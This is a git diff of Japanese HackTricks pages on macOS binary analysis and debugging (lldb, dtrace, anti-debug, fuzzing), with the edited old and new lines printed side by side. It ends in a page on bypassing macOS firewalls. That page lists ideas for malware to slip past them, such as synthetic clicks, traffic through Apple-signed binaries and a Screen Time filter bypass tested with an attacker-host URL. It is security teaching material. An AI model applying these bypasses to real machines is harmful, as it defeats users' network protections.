ここから[**disarmをダウンロードできます**](https://newosxbook.com/tools/disarm.html)。
You can [**download disarm from here**](https://newosxbook.com/tools/disarm.html).
```bash
ARCH=arm64e disarm -c -i -I --signature /path/bin # Get bin info and signature
ARCH=arm64e disarm -c -l /path/bin # Get binary sections
@ -84,11 +84,11 @@ ldid -S/tmp/entl.xml <binary>
### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) は、**.pkg** ファイル(インストーラー)を検査し、インストールする前にその内容を確認するのに役立つツールです。\
これらのインストーラーには、マルウェア作成者が通常悪用する `preinstall` および `postinstall` bash スクリプトがあります。
これらのインストーラーには、マルウェア作成者が通常悪用する `preinstall` および `postinstall` bash スクリプトが含まれています。
### hdiutil
このツールは、Apple のディスクイメージ(**.dmg**)ファイルを**マウント**して、何かを実行する前に検査することを可能にします:
このツールは、Apple のディスクイメージ(**.dmg**)ファイルを**マウント**して、何かを実行する前にそれらを検査することを可能にします:
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
@ -105,14 +105,14 @@ It will be mounted in `/Volumes`
### Metadata
> [!CAUTION]
> Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされるときに**クラス宣言を保持します**。そのようなクラス宣言には以下の名前とタイプが**含まれます**
> Objective-Cで書かれたプログラムは、[Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)にコンパイルされるときに**クラス宣言を保持します**。そのようなクラス宣言には以下が**含まれます**
- 定義されたインターフェース
- インターフェースメソッド
- インターフェースインスタンス変数
- 定義されたプロトコル
これらの名前は、バイナリのリバースエンジニアリングをより困難にするために難読化される可能性があることに注意してください
これらの名前は、バイナリのリバースエンジニアリングをより困難にするために難読化される可能性があります
### Function calling
@ -122,9 +122,9 @@ Objective-Cを使用するバイナリで関数が呼び出されると、コン
この関数が期待するパラメータは次のとおりです:
- 最初のパラメータ(**self**)は「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。簡単に言えば、メソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドの場合、これはクラスオブジェクトのインスタンス全体になりますが、インスタンスメソッドの場合、selfはクラスのインスタンス化されたオブジェクトを指します。
- 2番目のパラメータ**op**)は「メッセージを処理するメソッドのセレクタ」です。再度、簡単に言えば、これは**メソッドの名前**です。
- 残りのパラメータは、メソッドに必要な**値**opです。
- 最初のパラメータ(**self**)は「**メッセージを受け取るクラスのインスタンスを指すポインタ**」です。簡単に言えば、メソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドの場合、これはクラスオブジェクトのインスタンス全体になりますが、インスタンスメソッドの場合、selfはクラスのインスタンス化されたオブジェクトを指します。
- 2番目のパラメータ**op**)は「メッセージを処理するメソッドのセレクタ」です。再度、簡単に言えば、これは**メソッドの名前**です。
- 残りのパラメータは、メソッドopによって必要とされる**値**です。
この情報を**ARM64で`lldb`を使って簡単に取得する方法**をこのページで確認してください:
@ -136,13 +136,13 @@ x64:
| **Argument** | **Register** | **(for) objc_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
| **1st argument** | **rdi** | **self: メソッドが呼び出されるオブジェクト** |
| **2nd argument** | **rsi** | **op: メソッドの名前** |
| **3rd argument** | **rdx** | **メソッドへの1番目の引数** |
| **4th argument** | **rcx** | **メソッドへの2番目の引数** |
| **5th argument** | **r8** | **メソッドへの3番目の引数** |
| **6th argument** | **r9** | **メソッドへの4番目の引数** |
| **7th+ argument** | <p><strong>rsp+</strong><br><strong>(スタック上)</strong></p> | **メソッドへの5番目以降の引数** |
| **1st argument** | **rdi** | **self: object that the method is being invoked upon** |
| **2nd argument** | **rsi** | **op: name of the method** |
| **3rd argument** | **rdx** | **1st argument to the method** |
| **4th argument** | **rcx** | **2nd argument to the method** |
| **5th argument** | **r8** | **3rd argument to the method** |
| **6th argument** | **r9** | **4th argument to the method** |
| **7th+ argument** | <p><strong>rsp+</strong><br><strong>(on the stack)</strong></p> | **5th+ argument to the method** |
### Dump ObjectiveC metadata
@ -162,7 +162,7 @@ objdump --macho --objc-meta-data /path/to/bin
```
#### class-dump
[**class-dump**](https://github.com/nygard/class-dump/) は、ObjectiveC形式のコードクラス、カテゴリ、およびプロトコルの宣言を生成するための元のツールです。
[**class-dump**](https://github.com/nygard/class-dump/) は、ObjectiveC形式のコード内のクラス、カテゴリ、およびプロトコルの宣言を生成するための元のツールです。
古くてメンテナンスされていないため、正しく動作しない可能性があります。
@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
```
これらのセクションに保存されている情報についての詳細は、[**このブログ投稿**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)で見つけることができます。
さらに、**Swiftバイナリにはシンボルが含まれている可能性があります**たとえば、ライブラリはその関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれています**が、見栄えが悪いため非常に便利であり、元の名前を取得できる「**デマンガラー**」があります。
さらに、**Swiftバイナリにはシンボルが含まれている可能性があります**えば、ライブラリはその関数を呼び出すためにシンボルを保存する必要があります)。**シンボルには通常、関数名と属性に関する情報が含まれています**が、見栄えが悪いため非常に便利であり、元の名前を取得できる「**デマンガラー**」があります。
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@ -204,10 +204,10 @@ swift demangle
## ダイナミック分析
> [!WARNING]
> バイナリをデバッグするには、**SIPを無効にする必要があります**`csrutil disable` または `csrutil enable --without debug`)またはバイナリを一時フォルダにコピーし、`codesign --remove-signature <binary-path>`で**署名を削除**するか、バイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。
> バイナリをデバッグするには、**SIPを無効にする必要があります**`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーし、`codesign --remove-signature <binary-path>`で**署名を削除する**か、バイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。
> [!WARNING]
> macOSで**システムバイナリをインストゥルメント**(例えば`cloudconfigurationd`)するには、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
> macOSで**システムバイナリ**(例えば`cloudconfigurationd`を**インスツルメント**するには、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
### APIs
@ -218,21 +218,21 @@ macOSはプロセスに関する情報を提供するいくつかの興味深い
### Stackshot & microstackshots
**Stackshotting**は、プロセスの状態をキャプチャするため技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するために特に有用です。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してstackshottingを実行できます。
**Stackshotting**は、プロセスの状態をキャプチャするために使用される技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するために特に便利です。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してstackshottingを実行できます。
### Sysdiagnose
このツール(`/usr/bini/ysdiagnose`)は、基本的に`ps``zprint`などの数十の異なるコマンドを実行してコンピュータから多くの情報を収集します。
このツール(`/usr/bini/ysdiagnose`)は、`ps``zprint`などの異なるコマンドを実行してコンピュータから多くの情報を収集します。
**root**として実行する必要があり、デーモン`/usr/libexec/sysdiagnosed`は、`com.apple.system-task-ports``get-task-allow`などの非常に興味深い権限があります。
**root**として実行する必要があり、デーモン`/usr/libexec/sysdiagnosed`は、`com.apple.system-task-ports``get-task-allow`などの非常に興味深い権限を持っています。
そのplistは`/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`にあり、3つのMachServicesを宣言しています
- `com.apple.sysdiagnose.CacheDelete`: /var/rmp内の古いアーカイブを削除します
- `com.apple.sysdiagnose.kernel.ipc`: 特殊ポート23カーネル
- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数を渡すことができます`compress``display``run`
- `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数`compress``display``run`を渡すことができます。
### 統ログ
### 統ログ
MacOSは、アプリケーションを実行して**何をしているのか**を理解する際に非常に役立つ多くのログを生成します。
@ -250,19 +250,19 @@ Hopperの左パネルでは、バイナリのシンボル**Labels**)、手
<figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
コードオブジェクトを右クリックすると、そのオブジェクトへの**参照**や**参照**を見ることができ、名前を変更することもできます(これはデコンパイルされた擬似コードでは機能しません):
コードオブジェクトを右クリックすると、そのオブジェクトへの**参照**や**そのオブジェクトからの参照**を見ることができ、名前を変更することもできます(これはデコンパイルされた擬似コードでは機能しません):
<figure><img src="../../../images/image (1117).png" alt=""><figcaption></figcaption></figure>
さらに、**中央下部ではPythonコマンドを入力**できます
さらに、**中央下部ではPythonコマンドを入力することができます**
#### 右パネル
右パネルでは、**ナビゲーション履歴**(現在の状況に到達した方法を知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**と、この関数が呼び出すすべての関数を見ることができます)、および**ローカル変数**の情報など、興味深い情報を見ることができます。
右パネルでは、**ナビゲーション履歴**(現在の状況にどのように到達したかを知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**と、この関数が呼び出すすべての関数を見ることができます)、および**ローカル変数**の情報など、興味深い情報を見ることができます。
### dtrace
これは、ユーザーがアプリケーションに非常に**低レベル**でアクセスできるようにし、プログラムを**トレース**し、その実行フローを変更する方法を提供します。Dtraceは、**カーネル全体に配置された**プローブを使用し、システムコールの開始と終了などの場所にあります。
これは、ユーザーがアプリケーションに非常に**低レベル**でアクセスできるようにし、ユーザーが**プログラムをトレース**し、その実行フローを変更する方法を提供します。Dtraceは、**カーネル全体に配置された**プローブを使用し、システムコールの開始と終了などの場所にあります。
DTraceは、各システムコールのプローブを作成するために**`dtrace_probe_create`**関数を使用します。これらのプローブは、各システムコールの**エントリポイントとエグジットポイント**で発火することができます。DTraceとのインタラクションは、/dev/dtraceを介して行われ、これはrootユーザーのみが利用可能です。
@ -285,7 +285,7 @@ ID PROVIDER MODULE FUNCTION NAME
DTraceを構成してプローブをアクティブにし、発火したときに実行するアクションを指定するには、D言語を使用する必要があります。
より詳細な説明と例については、[https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)を参照してください
より詳細な説明とさらに多くの例は、[https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)で見つけることができます
#### 例
@ -343,7 +343,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
`latency``sc_usage``fs_usage`、および`trace`のようなツールは内部でこれを使用します。
`kdebug`とインターフェースするために、`sysctl``kern.kdebug`名前空間を介して使用され、使用するMIBは`sys/sysctl.h`にあり、関数は`bsd/kern/kdebug.c`に実装されています。
`kdebug`とインターフェースするに`kern.kdebug`名前空間を介して`sysctl`使用され、使用するMIBは`sys/sysctl.h`にあり、関数は`bsd/kern/kdebug.c`に実装されています。
カスタムクライアントでkdebugと対話するための一般的な手順は次のとおりです
@ -361,9 +361,9 @@ dtruss -c -p 1000 #get syscalls of PID 1000
### ktrace
`ktrace_*` APIは`libktrace.dylib`から来ており、これが`Kdebug`のラッパーです。クライアントは`ktrace_session_create`および`ktrace_events_[single/class]`を呼び出して特定のコードにコールバックを設定し、`ktrace_start`で開始できます。
`ktrace_*` APIは`libktrace.dylib`から来ており、これが`Kdebug`のラッパーです。クライアントは`ktrace_session_create``ktrace_events_[single/class]`を呼び出して特定のコードにコールバックを設定し、`ktrace_start`で開始できます。
これは**SIPが有効な状態でも使用できます。**
**SIPが有効になっていてもこれを使用できます。**
クライアントとしてユーティリティ`ktrace`を使用できます:
```bash
@ -388,7 +388,7 @@ Kperf には sysctl MIB テーブルもありますroot として)`sysct
### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/) は、プロセス間の関係を表示するツールです。\
**`sudo eslogger fork exec rename create > cap.json`** のようなコマンドで Mac を監視する必要があります(こを起動するには FDA が必要です)。その後、このツールに json を読み込んで、すべての関係を表示できます:
**`sudo eslogger fork exec rename create > cap.json`** のようなコマンドで Mac を監視する必要があります(このターミナルを起動するには FDA が必要です)。その後、このツールに json を読み込んで、すべての関係を表示できます:
<figure><img src="../../../images/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
@ -415,7 +415,7 @@ fs_usage -w -f network curl #This tracks network actions
```
### TaskExplorer
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) は、バイナリで使用されてい**ライブラリ**、使用している **ファイル**、および **ネットワーク** 接続を確認するのに便利です。\
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) は、バイナリによって使用され**ライブラリ**、使用している **ファイル**、および **ネットワーク** 接続を確認するのに便利です。\
また、バイナリプロセスを **virustotal** と照合し、バイナリに関する情報を表示します。
## PT_DENY_ATTACH <a href="#page-title" id="page-title"></a>
@ -431,17 +431,17 @@ lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
ホームフォルダに **`.lldbinit`** というファイルを作成し、次の行を追加することで、intel フレーバーを設定できます:
インテルフレーバーを設定するには、ホームフォルダに**`.lldbinit`**というファイルを作成し、次の行を追加ます:
```bash
settings set target.x86-disassembly-flavor intel
```
> [!WARNING]
> lldb内で、`process save-core`を使用してプロセスをダンプします。
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) コマンド</strong></td><td><strong>説明</strong></td></tr><tr><td><strong>run (r)</strong></td><td>実行を開始し、ブレークポイントがヒットするかプロセスが終了するまで継続します。</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>エントリポイントで停止するように実行を開始します。</td></tr><tr><td><strong>continue (c)</strong></td><td>デバッグ中のプロセスの実行を続けます。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>次の命令を実行します。このコマンドは関数呼び出しをスキップします。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。</td></tr><tr><td><strong>finish (f)</strong></td><td>現在の関数(“フレーム”)内の残りの命令を実行し、戻って停止します。</td></tr><tr><td><strong>control + c</strong></td><td>実行を一時停止します。プロセスが実行rまたは続行cされている場合、これによりプロセスは現在実行中の場所で停止します。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #mainと呼ばれる任意の関数</p><p><code>b <binname>`main</code> #バイナリのメイン関数</p><p><code>b set -n main --shlib <lib_name></code> #指定されたバイナリのメイン関数</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #任意のNSFileManagerメソッド</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> #そのライブラリのすべての関数でブレーク</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #ブレークポイントリスト</p><p><code>br e/dis <num></code> #ブレークポイントの有効/無効</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #ブレークポイントコマンドのヘルプを取得</p><p>help memory write #メモリへの書き込みのヘルプを取得</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>メモリをヌル終端文字列として表示します。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>メモリをアセンブリ命令として表示します。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>メモリをバイトとして表示します。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>これは、パラメータによって参照されるオブジェクトを印刷します。</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、"print object" (po) コマンドを使用して表示する必要があります。poが意味のある出力を生成しない場合は、<code>x/b</code>を使用してください。</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #そのアドレスにAAAAを書き込みます<br>memory write -f s $rip+0x11f+7 "AAAA" #そのアドレスにAAAAを書き込みます</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #現在の関数を逆アセンブル</p><p>dis -n <funcname> #関数を逆アセンブル</p><p>dis -n <funcname> -b <basename> #関数を逆アセンブル<br>dis -c 6 #6行を逆アセンブル<br>dis -c 0x100003764 -e 0x100003768 #1つのアドレスから別のアドレスまで<br>dis -p -c 4 #現在のアドレスから逆アセンブルを開始</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1レジスタの3つのコンポーネントの配列を確認</td></tr><tr><td><strong>image dump sections</strong></td><td>現在のプロセスメモリのマップを印刷します。</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #CoreNLPからすべてのシンボルのアドレスを取得</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) コマンド</strong></td><td><strong>説明</strong></td></tr><tr><td><strong>run (r)</strong></td><td>実行を開始し、ブレークポイントがヒットするかプロセスが終了するまで継続します。</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>エントリポイントで停止する実行を開始します。</td></tr><tr><td><strong>continue (c)</strong></td><td>デバッグ中のプロセスの実行を続けます。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>次の命令を実行します。このコマンドは関数呼び出しをスキップします。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。</td></tr><tr><td><strong>finish (f)</strong></td><td>現在の関数(“フレーム”)内の残りの命令を実行し、戻って停止します。</td></tr><tr><td><strong>control + c</strong></td><td>実行を一時停止します。プロセスが実行rまたは続行cされている場合、これによりプロセスは現在実行中の場所で停止します。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #mainと呼ばれる任意の関数</p><p><code>b <binname>`main</code> #バイナリのメイン関数</p><p><code>b set -n main --shlib <lib_name></code> #指定されたバイナリのメイン関数</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #任意のNSFileManagerメソッド</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> #そのライブラリのすべての関数でブレーク</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #ブレークポイントリスト</p><p><code>br e/dis <num></code> #ブレークポイントを有効/無効にする</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #ブレークポイントコマンドのヘルプを取得</p><p>help memory write #メモリへの書き込みのヘルプを取得</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>メモリをヌル終端文字列として表示します。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>メモリをアセンブリ命令として表示します。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>メモリをバイトとして表示します。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>これは、パラメータ参照されるオブジェクトを印刷します。</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、"print object" (po) コマンドを使用して表示する必要があります。poが意味のある出力を生成しない場合は、<code>x/b</code>を使用してください。</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #そのアドレスにAAAAを書き込みます<br>memory write -f s $rip+0x11f+7 "AAAA" #そのアドレスにAAAAを書き込みます</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #現在の関数を逆アセンブル</p><p>dis -n <funcname> #関数を逆アセンブル</p><p>dis -n <funcname> -b <basename> #関数を逆アセンブル<br>dis -c 6 #6行を逆アセンブル<br>dis -c 0x100003764 -e 0x100003768 #1つのアドレスから別のアドレスまで<br>dis -p -c 4 #現在のアドレスから逆アセンブルを開始</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1レジスタの3つのコンポーネントの配列を確認</td></tr><tr><td><strong>image dump sections</strong></td><td>現在のプロセスメモリのマップを印刷します。</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #CoreNLPからすべてのシンボルのアドレスを取得</td></tr></tbody></table>
> [!NOTE]
> **`objc_sendMsg`**関数を呼び出すと、**rsi**レジスタはヌル終端“C”文字列として**メソッドの名前**が保持されます。lldbを介して名前を印刷するには、次のようにします
> [!TIP]
> **`objc_sendMsg`**関数を呼び出すと、**rsi**レジスタはヌル終端“C”文字列として**メソッドの名前**を保持します。lldbを介して名前を印刷するには、次のようにします
>
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
>
@ -462,7 +462,7 @@ settings set target.x86-disassembly-flavor intel
- **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを**防ぎます**。
- **`sysctl`**または**`ptrace`**関数が**インポートされているかどうかを確認できます**(ただし、マルウェアは動的にインポートする可能性があります)。
- この書き込みで指摘されているように、「[アンチデバッグ技術を打破するmacOS ptraceのバリアント](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)」:\
“_メッセージProcess # exited with **status = 45 (0x0000002d)**は、デバッグターゲットが**PT_DENY_ATTACH**を使用していることを示す兆候です_”
“_メッセージProcess # exited with **status = 45 (0x0000002d)**は、デバッグ対象が**PT_DENY_ATTACH**を使用していることを示す兆候です_”
## コアダンプ
@ -478,11 +478,11 @@ settings set target.x86-disassembly-flavor intel
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrashは**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存します**。クラッシュレポートには、**開発者がクラッシュの原因を診断するのに役立つ情報が含まれています**。\
ReportCrashは**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存します**。クラッシュレポートには、**開発者がクラッシュの原因を診断するのに役立つ情報**が含まれています。\
ユーザーごとのlaunchdコンテキストで**実行されているアプリケーションや他のプロセス**の場合、ReportCrashはLaunchAgentとして実行され、ユーザーの`~/Library/Logs/DiagnosticReports/`にクラッシュレポートを保存します。\
デーモン、システムlaunchdコンテキストで**実行されている他のプロセス**および他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、システムの`/Library/Logs/DiagnosticReports`にクラッシュレポートを保存します。
クラッシュレポートが**Appleに送信されることを心配している場合**は、それを無効にできます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを理解するのに役立ちます**。
クラッシュレポートが**Appleに送信されることを心配している場合**は、それを無効にできます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを把握するのに役立ちます**。
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -513,7 +513,8 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### Internal Handlers
**次のページを確認してください** どのアプリが **指定されたスキームまたはプロトコルを処理しているかを見つける方法を知るために:**
**次のページを確認してください** どのアプリが **指定されたスキームまたはプロトコルを処理しているかを見つける方法を知るために:**
{{#ref}}
../macos-file-extension-apps.md
@ -521,7 +522,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
### Enumerating Network Processes
これは、ネットワークデータを管理しているプロセスを見つけるのに興味深いです:
これは、ネットワークデータを管理しているプロセスを見つけるのに興味深いです
```bash
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
#wait some time
@ -540,7 +541,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
CLIツールで動作します。
CLIツールに対応しています。
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
@ -570,18 +571,18 @@ litefuzz -lk -c "smbutil view smb://localhost:4455" -a tcp://localhost:4455 -i i
# screensharingd (using pcap capture)
litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash screensharingd -p -n 100000
```
### さらなるFuzzing MacOS情報
### More Fuzzing MacOS Info
- [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
- [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
- [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben)
- [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler)
## 参考文献
## References
- [**OS X インシデントレスポンス: スクリプティングと分析**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
- [**Macマルウェアの技術: 悪意のあるソフトウェアの分析ガイド**](https://taomm.org/)
- [**マルウェアのアート: 悪意のあるソフトウェアの分析ガイド**](https://taomm.org/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -12,11 +12,11 @@
### 合成クリック
- ファイアウォールがユーザーに許可を求める場合、マルウェアに **許可をクリックさせる**
- ファイアウォールがユーザーに許可を求める場合、マルウェアに**許可をクリックさせる**。
### **Apple 署名のバイナリを使用**
- **`curl`** のようなもの、また **`whois`** な他のものも。
- **`curl`** のようなもの、また **`whois`** のような他のものも。
### よく知られた Apple ドメイン
@ -24,11 +24,11 @@
### 一般的なバイパス
ファイアウォールをバイパスするために試すべきいくつかのアイデア。
ファイアウォールをバイパスするために試すべきアイデア。
### 許可されたトラフィックの確認
許可されたトラフィックを知ることで、潜在的にホワイトリストに登録されたドメインや、どのアプリケーションがそれにアクセスできるかを特定するのに役立ちます。
許可されたトラフィックを知ることで、潜在的にホワイトリストに登録されたドメインや、それにアクセスを許可されているアプリケーションを特定するのに役立ちます。
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
@ -74,26 +74,26 @@ macos-proces-abuse/
## 最近のmacOSファイアウォールバイパス脆弱性 (2023-2025)
### ウェブコンテンツフィルター(スクリーンタイム)バイパス **CVE-2024-44206**
2024年7月、Appleはスクリーンタイムの親の管理機能で使用されるシステム全体の「ウェブコンテンツフィルター」における重大なバグを修正しました。
2024年7月、Appleはスクリーンタイムの親の管理機能で使用されるシステム全体の「ウェブコンテンツフィルター」に影響を与える重大なバグをSafari/WebKitで修正しました。
特別に作成されたURI例えば、二重URLエンコードされた“://”を含むは、スクリーンタイムのACLでは認識されませんが、WebKitでは受け入れられるため、リクエストはフィルタリングされずに送信されます。したがって、URLを開くことができる任意のプロセスサンドボックス化されたコードや署名されていないコードを含むは、ユーザーまたはMDMプロファイルによって明示的にブロックされたドメインに到達できます。
実践テスト(パッチ未適用システム):
実践テスト(未修正のシステム):
```bash
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
```
### Packet Filter (PF) ルール順序バグ in early macOS 14 “Sonoma”
macOS 14 ベータサイクル中に、Apple は **`pfctl`** のユーザースペースラッパーに回帰を導入しました。
`quick` キーワードを使用して追加されたルール(多くの VPN キルスイッチで使用されるは静かに無視され、VPN/ファイアウォール GUI が *ブロックされた* と報告してもトラフィックの漏洩を引き起こしました。このバグは複数の VPN ベンダーによって確認され、RC 2 (ビルド 23A344) で修正されました。
`quick` キーワードを使用して追加されたルール(多くの VPN キルスイッチで使用される)は静かに無視され、VPN/ファイアウォール GUI が *ブロックされた* と報告してもトラフィックの漏洩を引き起こしました。このバグは複数の VPN ベンダーによって確認され、RC 2 (ビルド 23A344) で修正されました。
Quick leak-check:
```bash
pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
```
### Apple署名のヘルパーサービスの悪用レガシー macOS 11.2以前)
macOS 11.2以前では、**`ContentFilterExclusionList`** により、**`nsurlsessiond`** やApp Storeなど約50のAppleバイナリがNetwork ExtensionフレームワークLuLu、Little Snitchなどで実装されたすべてのソケットフィルターファイアウォールをバイパスできました。
マルウェアは単に除外されたプロセスを生成するか、そこにコードを注入し、すでに許可されたソケットを介して自分のトラフィックをトンネルすることができました。AppleはmacOS 11.2で除外リストを完全に削除しましたが、この技術はアップグレードできないシステムでは依然として関連性があります。
### Apple署名のヘルパーサービスの悪用レガシー - macOS 11.2以前)
macOS 11.2以前では、**`ContentFilterExclusionList`**により、**`nsurlsessiond`**やApp Storeなど約50のAppleバイナリがNetwork ExtensionフレームワークLuLu、Little Snitchなどで実装されたすべてのソケットフィルターファイアウォールをバイパスすることができました。
